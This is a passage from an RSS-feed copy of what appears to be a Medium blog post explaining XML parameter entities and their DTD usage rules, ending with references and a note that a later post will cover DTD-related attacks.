src="https://cdn-images-1.medium.com/max/305/1*XjvTeAPQSS-SZiZH0gqDJQ.png" /></figure><p>Parameter entities allow creating other entities and parameter entities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*fASIJe2hQu67pUkjHGH9Fw.png" /></figure><p>In case of the above defined Parameter Entities, following points need to be taken into notice:</p><ul><li>References to Parameter entities can ONLY occur within DTD.</li><li>Parameter entities can’t be used in the document body.</li><li>A parameter entity reference is not allowed within markup in internal DTD subset.</li><li>Parameter entities allow creating other entities and parameter entities.</li></ul><p>So, here we are done with necessary XML basics.</p><p>Next post will discuss about XML DTD related attacks.</p><p>Till then,😎🕛</p><h4>References:</h4><ol><li><a href="https://www.xmlfiles.com/xml/">XML Basics: An introduction to XML</a></li><li><a href="https://www.xml.com/pub/a/98/08/xmlqna2.html#ENTDECL">Entity Declarations, Attributes and Expansion</a></li><li><a href="https://www.xml.com/pub/a/98/08/xmlqna1.html">Types of Entities</a></li><li><a href="https://gerardnico.com/markup/xml/dtd">XML — Document Type (Definition|Declaration) (DTD)</a></li></ol><p>and lots of Googling.</p><p>Thanks to my friends <a href="https://medium.com/u/43a8594f3003">Pяαкαѕн</a> and <a href="https://twitter.com/lokesh1095">Lokesh</a> for helping me out…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6fa803da9f26" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>